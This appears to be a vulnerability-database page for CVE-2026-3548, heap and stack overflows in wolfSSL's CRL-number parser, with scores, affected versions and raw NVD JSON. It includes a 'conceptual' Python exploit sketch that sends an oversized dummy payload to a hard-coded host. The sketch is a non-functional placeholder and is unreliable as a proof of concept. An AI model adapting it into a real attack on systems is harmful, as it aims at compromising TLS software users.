Security Vulnerability Report
中文
CVE-2026-3548 CVSS 9.8 CRITICAL

CVE-2026-3548

Published: 2026-03-19 18:16:23
Last Modified: 2026-04-29 18:41:39

Description

Two buffer overflow vulnerabilities existed in the wolfSSL CRL parser when parsing CRL numbers: a heap-based buffer overflow could occur when improperly storing the CRL number as a hexadecimal string, and a stack-based overflow for sufficiently sized CRL numbers. With appropriately crafted CRLs, either of these out of bound writes could be triggered. Note this only affects builds that specifically enable CRL support, and the user would need to load a CRL from an untrusted source.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (启用CRL支持的构建版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3548 (Conceptual) # This script demonstrates how to generate a malformed CRL # that could trigger the buffer overflow in wolfSSL. import socket import struct def create_malformed_crl(): """ Creates a crafted CRL with an oversized CRL Number extension. Real exploitation requires precise ASN.1 structure crafting. """ print("[*] Crafting malicious CRL data...") # This is a simplified representation. # A real CRL is complex ASN.1 data. We simulate a large # integer in the CRL Number extension field. header = b"\x30\x82\x00\x01" # Placeholder for SEQUENCE header # ... (Other CRL fields omitted for brevity) ... # Malicious extension: Opaque Octet String simulating overflow # In a real scenario, this triggers the hex string conversion overflow overflow_payload = b"A" * 1000 return header + overflow_payload def send_exploit(target_ip, target_port): payload = create_malformed_crl() try: print(f"[*] Connecting to {target_ip}:{target_port}...") # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(payload) # s.close() print("[+] Payload sent (Simulation)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET = "192.168.1.10" PORT = 443 send_exploit(TARGET, PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3548", "sourceIdentifier": "[email protected]", "published": "2026-03-19T18:16:22.953", "lastModified": "2026-04-29T18:41:38.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Two buffer overflow vulnerabilities existed in the wolfSSL CRL parser when parsing CRL numbers: a heap-based buffer overflow could occur when improperly storing the CRL number as a hexadecimal string, and a stack-based overflow for sufficiently sized CRL numbers. With appropriately crafted CRLs, either of these out of bound writes could be triggered. Note this only affects builds that specifically enable CRL support, and the user would need to load a CRL from an untrusted source."}, {"lang": "es", "value": "Dos vulnerabilidades de desbordamiento de búfer existían en el analizador CRL de wolfSSL al analizar números CRL: un desbordamiento de búfer basado en montículo podría ocurrir al almacenar incorrectamente el número CRL como una cadena hexadecimal, y un desbordamiento basado en pila para números CRL de tamaño suficiente. Con CRLs apropiadamente elaborados, cualquiera de estas escrituras fuera de límites podría ser activada. Tenga en cuenta que esto solo afecta a las compilaciones que habilitan específicamente el soporte CRL, y el usuario necesitaría cargar un CRL de una fuente no confiable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.0", "matchCriteriaId": "DA3FA1CB-CEDC-4D49-9ECD-99BBF1602312"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9628/", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/wolfSSL/wolfssl/pull/9873/", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}